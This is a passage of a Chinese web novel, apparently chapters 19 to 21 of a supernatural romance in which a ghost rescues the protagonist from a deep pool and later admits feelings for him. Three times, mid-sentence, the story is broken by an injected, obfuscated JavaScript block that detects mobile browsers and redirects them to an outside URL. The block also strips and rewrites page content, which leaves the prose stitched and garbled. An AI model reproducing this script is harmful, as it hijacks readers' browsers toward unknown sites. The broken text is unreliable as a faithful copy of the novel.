钟秦淮笑答:“一定要做点什么才能泡在深潭里吗?”
柳相宜:“……”
明白了。
这小子是故意不肯说。
既然他不愿意说,柳相宜也识趣地不再追问了,正要离开,谁知深潭边又黑又滑,柳相宜一个不小心脚滑了,整个人直接栽进了深潭里。
砰地一声,顿时水花四溅。
整个人迅速沉下去了。
钟秦淮的身体刚微微一动,小乌鸦就开口了,小脸难得的绷得严肃:
“阿、阿淮,这个人类就是个早夭的命格,你就算这次救了他也没用,他早晚活不过25的。”
小乌鸦生前精通命理,它又道:
“你是鬼,已经不属于阳间了,却还在插手阳间的命数,会遭反噬的……”
钟秦淮垂眸望着水面,似在思考。
春末的夜晚,森林里的深潭冰凉,柳相宜被水冷得打了个寒颤。
他不会游泳,只能徒劳地挣扎,但越挣扎,下沉得越快。
深潭里长满了水草,长长的,他抓过一根水草
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444749|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但水草又滑溜地,瞬间从他的指缝间溜走了。
整个身体继续在深潭里下沉。
呼吸也逐渐困难。
柳相宜憋着气,双手四处抓取,想抓点什么阻止自己继续沉下去。
就在这时,他猛地抓到了!
是一只手。
和刚才的水草一样冰凉。
但比刚才的水草更有力量。
他反握住柳相宜的手,用力往上一拽,柳相宜的身体没再下沉了。
而是拽着他往上了。
往上浮的瞬间,柳相宜看到了一个模糊的黑影,那双手修长用力,环住了他的腰,随即双手微微收紧。
下一秒,自己的身体紧贴住了他的身体,与此同时,唇与唇也贴住了。
柳相宜正快要窒息了,也顾不得多想,就跟在岸上快要渴死的鱼一样,迅速撬开钟秦淮的唇钻了进去。
被柳相宜卷住舌尖的那一刹那,钟秦淮悄然闭上了眼,像是某种纵容,任由柳相宜急切地夺取他嘴里的空气。
明明只要轻轻一推就能轻易地推开,但钟秦淮却反而情不自禁地把他搂得更紧了。
在这个深潭的水面下,柳相宜就像水草一样,缠绕着他,紧贴着他。
身体贴得近,上面的舌也缠得紧。
他就是柳相宜真正意义上的救命稻草,被柳相宜强烈渴求着、索取着。
他的理智。
他的吻。
他的呼吸。
全都被柳相宜夺走了。
这种濒临窒息导致的深吻,爽得人头皮发麻,钟秦淮全身心地投入到了这个吻里。
直到吻得柳相宜晕过去了,他才抱着柳相宜浮出水面。
柳相宜双手还缠绕在钟秦淮的后脖颈上,像水草一样难以挣脱开。
额头抵在钟秦淮的肩膀上,那双被亲吻过的、沾着水珠、红润靡艳的唇贴在他的颈边,清浅的呼吸温热地打在他颈边的皮肤上。
应该要送他回去的。
但钟秦淮发现自己很难松开手。
此时深潭上空盘旋的乌鸦大军们早就飞走了,藏进了森林里。
没有乌鸦的遮天蔽日,终于露出了那轮高挂在天边的圆月。
清凉的月光洒下来,远远望去,深潭边的两人就跟交颈的一对天鹅似的。
柳相宜已经昏迷不醒了,钟秦淮却仍旧抱着,闭着眼睛,还在留恋似地啄吻着他的脸颊、耳朵,甚至吻进了他的颈边。
心脏在剧烈地跳动。
好似方才掉进深潭,即将窒息的不是柳相宜,而是他一样,心脏跳得仿佛死过一次,然后劫后余生那般剧烈。
钟秦淮埋在柳相宜的脖颈里。
然后,将怀里的这个人逐渐抱紧。
直到寂静的夜色里,突然响起一声怪叫:“嘎——”
像是把钟秦淮从某种迷梦中惊醒了似的,他缓缓睁开眼。
抬头看向小乌鸦。
深潭边,小乌鸦那双金色的竖瞳与钟秦淮对视上的瞬间,竖瞳都瞪圆了。
那双黑漆漆的眸子,在月色下,还残留着未曾褪去的汹涌情潮。
它从来没见过这样的阿淮。
感觉有一丝陌生。
它顿时急了,结结巴巴地问道:
“阿、阿淮,你没有想要谈、谈恋爱吧?”
然而这回,钟秦淮竟然没有第一时间回复它,而是垂眸,看了一眼枕在自己肩膀上的那张侧颜。
20.第 20 章
夜色深沉。柳相宜主卧的门吱呀一声被推开了,钟秦淮从里边一出来,小乌鸦就气呼呼地扇着翅膀扑了过去。
那双长长的喙猛地张开,正要开口说话,就被钟秦淮伸手一捏。
张开的喙又瞬间给合上了!
随即,钟秦淮回头看了一眼主卧,柳相宜正安静地躺在床上沉睡。
他轻轻把门带上,直到走远,才把手也松开。
下一秒,那只小乌鸦飞到钟秦淮的肩膀上,蹦起来踩了踩:
“阿、阿淮不听话!”
要是说其他方面,小乌鸦也许还转不过弯来,但鬼气小乌鸦可熟了!
“阿、阿淮,还记得我给你讲过的那个第九代老祖宗吗?”
“他娶了据说是当年的第一大美人,美人跟谁说话了,对谁笑了他都要发疯,最后干脆把她囚、囚禁在一个深宅大院里,不许任何人见她。”
“窝、窝在阴间听其他老祖宗说,他这是因为太爱吃、吃醋才这样的。”
说话间,钟秦淮已经走回自己的主卧了,他笑着反问道:
“所以呢?这跟我有什么关系?”
“阿、阿淮说是为了有个活人可以使唤,但鬼气给一些就可以了,分给那个人类那么多,多到恐怕连旁人摸一下那个人类的衣角都、都不行吧?”
小乌鸦气得又蹦起来踩了踩他肩:
“嗦、嗦以阿淮是不是也跟那个老祖宗一样,不想让其他人碰、碰他?”
只不过囚禁的方式不一样,老祖宗用的是深宅大院,而阿淮用的是鬼气。
钟秦淮脚步一顿。
接着,又若无其事地单手推开棺材盖,然后自己躺了进去。
他没说话,小乌鸦斜瞅了他一眼,就知道自己猜对了!
钟秦淮躺进去了,小乌鸦也随即落在了棺材盖上,趴在上边继续道:
“阿、阿淮、知道你外婆为森么从小就教育你不要谈、谈恋爱么?”
钟秦淮小时候还懵懵懂懂,但后来长大些就知道了,外婆和妈妈都被爱情害惨了,所以外婆说希望他不要吃爱情的苦,只需要开心健康地活着就行。
“不、不止是因为这个……”
“阿、阿淮是极阴之体,天生的鳏寡命格,谈恋爱不仅注定没结果,还会对你命格造成反噬……”
钟秦淮调整了一下睡姿,之后抬手拉过那个棺材盖,缓缓地给自己盖上。
“比如呢?”
小乌鸦歪了歪脑袋,疑惑道:
“阿、阿淮的命格本来不该这么早死的,但阿淮上次跟那个人类飙车,为、为森么非要赢他?”
拉棺材盖的手微微一顿。
小乌鸦像是突然悟了,斜眼瞅他:
“窝!窝知道了!因为阿淮的命格那个时候就已经开始被反噬了,也就是说阿淮那个时候就已、已经……”
不等小乌鸦说完,钟秦淮一拉棺材盖,“轰隆”一声低沉的闷响后,棺材盖就严丝合缝地合上了。
小乌鸦:“!”
话还没说完呢!
所以那次飙车为什么非要赢?它当时坐在副驾驶位置上都提醒阿淮了,加速会冲出悬崖,但阿淮死也要赢。
小乌鸦拼命在棺材盖上踩踩踩!
然而无论它怎么踩,阿淮都装睡,拒绝跟它探讨这个问题。
小乌鸦瞳仁闪过一抹坚定的暗光:
不行!
它还想拯救拯救!
次日,柳相宜醒来,脑子还有点晕乎乎的,他记得昨晚自己脚滑跌进了一个深潭里,之后就因为缺氧晕过去了。
他垂眸看了一眼自己身上的衣服,清爽干净,连根水草都没沾上,也不知道那小子使了什么方法做到的。
总之钟秦淮昨晚又救了他一次。
柳相宜想过去道声谢,走出客厅一看,他顿时愣住了!
外边不再是联通着钟秦淮别墅的那个过道,对面也不是正对着他家客厅的钟秦淮主卧。
而是自家院子。
柳相宜怀疑自己幻觉了。
他退回去,关上客厅的门,然后再次推开一看,门外还是自家院子。
不是幻觉。
而是恢复了往日那般正常。
柳相宜:“?”
所以昨晚之后,两家连通在一起的那个“魔法之门”怎么消失了?
是出什么意外了吗?
柳相宜没再迟疑,开车抵达雾山脚下,走上山,围墙里的那株榕树里头,坐着一个幼崽。
眼睛是罕见的金色。
这幼崽柳相宜见过一次,小小年纪,力气贼大,能扛四袋萝卜土豆。
此时,这个幼崽见他来了,表情故作凶狠,说话的时候,那张肉嘟嘟的小脸上,奶膘还微微颤动着:
“阿、阿淮最近闭关,你、你不许来找他,他也不会见、见你哒!”
柳相宜笑了。
这幼崽还挺可爱。
他倒也没特别的事非要见钟秦淮,就是今早那个“魔法之门”突然消失了,想来确定一下是不是出事了而已。
“还、还不是因为你?”
幼崽蹭地一下起身,站在一根粗壮的树干上叉腰道:
“要帮你挡血、血光之灾,需要二十四小时每天!每时!每刻!都要源源不断地把鬼气分给你,要是普、普通的鬼,早就因为鬼气枯竭魂飞魄散啦!”
柳相宜听得心一惊。
昨晚那小子还一副云淡风轻岁月静好的样子,没想到对他影响这么大。
他抬头看了一眼别墅,今日阳光强烈,幸好别墅三面的参天大树枝桠交错,垂下来形成一个巨大的阴影。
而那栋别墅就藏在阴影区。
所有的窗帘也都被拉上了。
像是一座连阳光都透不进去的、黑暗的一口棺材似的。
“嗦、嗦以说,”小乌鸦道,“阿、阿淮这几天需要静养,把失去的鬼、鬼气修炼回来,你、你不许来打扰!”
得知钟秦淮暂且没事,柳相宜放心了,随即转身下山。
他今天还要参加一个高中母校的80年校庆,作为同一个学校毕业的,张若澜也来了。
校长带着一众荣誉校友路过一个公告牌,那个公告牌上面挂着数十年来每一届的本校高考状元。
只有一届例外,竟然是两个。
两个人分数一模一样。
两人的照片并列挂在一起,都是十七八岁的少年模样,穿着蓝色校服,只不过左边的笑容似春风暖阳般和煦。
而右边的那个则完全相反,狭长的丹凤眼目视前方,如同落满霜雪的剑刃,即便只是照片,但张若澜再次看向那双眼睛,还是会下意识屏住呼吸。
即便时隔多年,张若澜仍然记得他第一次见钟秦淮的场景。
那是高中开学报道的第一天,他刚踏进校门,里边那么多来来往往的学生和家长,但他第一眼就被他吸引住了。
钟秦淮肤色苍白,似乎生前就比寻常人要白上一分,眸子又比寻常人黑。
瞳仁黑漆漆的。
黑与白两种颜色极致的对比,让他有种纯粹的、干净的,又凛冽的气息。
像是夹杂着风雪,
从黑白漫画中走出来的。
不光他自己,他看到很多学生也都在偷偷摸摸地,打量着钟秦淮。
然而钟秦淮谁也没看,他散漫地倚在一株桃树下,不知道在等谁。
嘴里还叼着一根棒棒糖。
与他整个高冷的气息很是违和。
直到校门口走进另一个少年。
他那双黑漆漆的眸子里终于泛起了一点暖意,唇角微弯,似是在笑:
“比你早到32分42秒,所以开学第一天,你就要输给我了吗?”
然后张若澜就看到那个少年原本笑着的俊脸瞬间变了。
“比早到有什么意义?有本事跟我比一比考进这所高中的成绩排名!”
随后,两人就并肩走去看公告栏的成绩排行榜了。
张若澜眼神一直跟随着他们,看着他们从自己身边擦肩而过,但那两人谁都没把眼神分出一点看向他。
那一幕,张若澜至今还记得。
“所以,不知道柳总还记得我们第一次见面的场景吗?”
被张若澜冷不丁这么一问,柳相宜愣了一下,随即微微一笑:
“都这么久了,我怎么记得?”
张若澜笑了。
抬头望了一眼校门口,忽然惊呼了一声:“欸,那位学弟也来了。”
柳相宜顺着他的视线看过去,是夏青从车子里出来了。
张
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449592|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
若澜不知想到了什么,他又道:“那位学弟,柳总还记得吗?说起来跟柳总还有一面之缘呢。”
柳相宜:“?”
见柳相宜又是不记得的样子,张若澜啧啧了两声:
“柳总,敢情除了我男神,其他的人在你眼里是不配被记住是吧?”
柳相宜轻咳一声,示意他继续,毕竟夏青现在是他合作对象了,他俩不会以前结下过什么梁子吧?
张若澜又继续道:
“英仁高中部和初中部是连在一起的,高三时柳总不是学生会主席吗?然后去校门口值日检查仪容仪表……”
“然后那个小学弟我记得应该是初中部的,他掐着点进校门,跑得鞋子后跟都掉了,周围学生都笑他,还是柳总带他去超市买了双新鞋。”
柳相宜:“……”
被张若澜这么一提醒,他记起来了一些,后来那个小学弟问他那双鞋多少钱,说要把钱还给他。
柳相宜买的是店里最贵的一双,又见这位小学弟书包都洗得发白,一看就是用了很多年,估摸着家境不好。
于是他随口开玩笑:
“这个鞋子654,你要是期末考试能考到这个分,这钱我就不让你还了。”
他不缺钱,也没指望那位小学弟真还钱,谁知期末考试后的某一天,他从食堂吃完饭出来,那个小学弟还真拿着成绩单过来给他看了。
柳城初中总分700分。
这小孩居然考了682!
小学弟比他矮,仰着头,眼神亮晶晶的,那双冷淡的眸子里透着点期待。
柳相宜便夸了他几句,走在前面的钟秦淮就转过头来了。一脸不悦,凉凉地开口道:
“柳相宜同学,你不跟上来,是不敢跟我比了吗?”
他那时候正和钟秦淮比中午吃完饭,谁最先做完一张数学试卷。于是也没顾得上跟那小学弟多说,就匆匆忙忙地追上钟秦淮的步伐一同回教室了。
回忆到这的时候,夏青也已经从校门口走进来了,走到柳相宜面前站定。
被张若澜提醒想起了这点往事,柳相宜再次见到夏青便多了一分亲切感。
庆典结束后,夏青说上次那顿饭没吃成,又再请柳相宜吃了一次。
跟夏青吃完饭出来,街边有一个推车的老伯伯在卖橘子,喇叭在喊着:
“雾山产的橘子!正宗的橘子!”
听见雾山两个字,柳相宜瞬间被吸引了,他走过去买一袋,夏青问:
“柳总喜欢吃这个?”
柳相宜轻咳一声:
“有个……朋友喜欢。”
应该算是朋友了吧?毕竟钟秦淮救过他好多次了,关系应该缓和了吧?
柳相宜拎着那袋橘子上山,知道围墙大榕树上很多乌鸦守着,他绕过围墙和那群小乌鸦,从另一侧爬进阳台。
窗帘没拉。
柳相宜往里瞧了瞧,主卧里没人。
柳相宜:“?”
就在柳相宜决定把橘子留在窗户上转身离开的时候,轰隆一声,卧室里突然传来一声低低的闷响。
柳相宜扭头一看,是那口棺材!
刚才棺材盖把棺材遮得严严实实的,如今棺材盖突然被从里边推开。
推到一半。
紧接着,钟秦淮从里边坐起身来。
主卧里没开灯,漆黑一片,因此,把钟秦淮那张面孔衬托得更苍白了。
很像躺棺材的死人突然诈尸。
柳相宜也不免被吓了一跳。
钟秦淮手肘搭在棺材边缘上,转头看到他,眸子里闪过一丝诧异。
目光往下移,落在柳相宜手上的那袋橘子上,表情有一瞬间的怔愣。
但嘴角却下意识地弯起:
“柳总是特意来送给我的吗?”
柳相宜笑了,把橘子搁在窗台上。
确定钟秦淮没事儿就准备走,临走前想了想,又和之前一样,开玩笑道:
“钟总不要误会,我绝不是恋爱脑,只是基于钟总昨晚把我从深潭里救出来的感恩之心而已,绝不含半点其他感情,钟总大可放心。”
柳相宜说完,本以为钟秦淮会跟往常一样回怼他,谁知他竟然沉默了。
那双眼睛还幽幽地盯着他。
柳相宜:“?”
21.第 21 章
柳相宜微微一愣。
晚上和夏青吃饭的时候车子坏了,夏青便送他过来,待会儿还得麻烦人家送回去,柳相宜本就过意不去。
现在人家开口只要一袋子橘子而已,这个要求并不过分。
柳相宜扬了扬那袋橘子,微笑道:
“谢谢收留,但朋友不要这句话就不要提了,橘子不爱听。”
夜色模糊了夏青的脸,只能依稀借着月色,能勉强看到他嘴角微扬,终于露出了一丝属于他这个年纪该有的、青涩的笑意。
随后夏青便打开车门,邀请柳相宜上车,柳相宜上车前,又回望了一眼。
总觉得刚才有人在盯着自己似的。
夏青:“怎么了?”
柳相宜环视一圈,山脚下,四周一片黑漆漆的树木,这么晚了,哪有人?
“没什么。”
柳相宜上车了。
主卧门口。小乌鸦盘腿坐在地上,掰着胖乎乎的手指头,正在数着时间。
才数到“5”,就看到一团黑雾票回来了,小乌鸦仰头瞅了一眼。
欸?
阿、阿淮怎么冷着脸?
不等它看清楚,钟秦淮就进去了。
门砰地关上了。
小乌鸦歪了歪脑袋,疑惑道:
阿、阿淮这是生气了?
柳相宜是回到家洗澡的时候,发现玉佩不见了的,思来想去,最大可能应该是在爬窗户的时候掉的。
于是第二天晚上,他又来了,小乌鸦仍旧坐在围墙那株榕树上,看见他了,居然没拦他。
幼崽晃荡着小短腿幸灾乐祸:
“你完、完蛋了!”
“惹阿淮生、生气了!”
“后、后果很严重!”
柳相宜:“……?”
昨天他好心好意送橘子,那小子不收也就算了,还生气了?
果然,等柳相宜再次爬上阳台抬头一看,视线对上一张面无表情的脸。
钟秦淮正站在窗边盯着他。
柳相宜:“……”
他轻巧地翻上阳台,硬着头皮打了声招呼,随后问起了他那块玉佩。
钟秦淮嘴角弯起一丝嘲讽的笑意:
“柳总昨晚这么急着走,是要去见什么人,还是有什么人在等?”
柳相宜挑眉道:“钟总,这么阴阳怪气是很容易被人打的。”
钟秦淮不说话了。
柳相宜追问他有没有捡到过自己那块玉佩,钟秦淮又忍不住开口了。
语气凉凉的:
“所以柳总大晚上的还跑过来找,这又是谁送的?对柳总这么重要?”
柳相宜:“……”
柳相宜深吸一口气,微笑道:
“钟总只需要告诉我有没有看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454765|168591||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到,有没有捡到就行了。”
钟秦淮又不说话了。
就在这时,柳相宜的电话响了。
钟秦淮听见了,是昨晚山脚下那个年轻男人的声音,柳相宜接完电话后,犹豫片刻,还是准备离开。
钟秦淮眸子顿时沉了下去:
“玉佩不要了吗?”
柳相宜叹了一口气。
玉佩自然是想拿回来的。但谁叫这位大爷不知道生什么气不肯给呢?
正好夏青公司那边又临时出问题了,需要他这个投资人赶过去处理。
权衡之下,只能先行离开了。
就在柳相宜正要离开时,钟秦淮突然朝他伸出手。
五指张开,手掌心上正静静躺着的,就是他那块玉佩。
柳相宜笑了:“所以钟总还是良心发现,决定把玉佩还给我了?”
他说着,正要伸手去拿。
谁知指尖刚触碰到那块玉佩,钟秦淮的五指又重新收拢。
攥住了柳相宜的手。
“柳总不是暗恋我很久了吗?”
钟秦淮突然开口。
柳相宜:“?”
他怔愣了一下,抬头看向钟秦淮。
钟秦淮那双眸子黑沉沉的,像是下定了某种决心,定定地望着他:
“恋爱不是不能谈。”
“如果你也想的话。”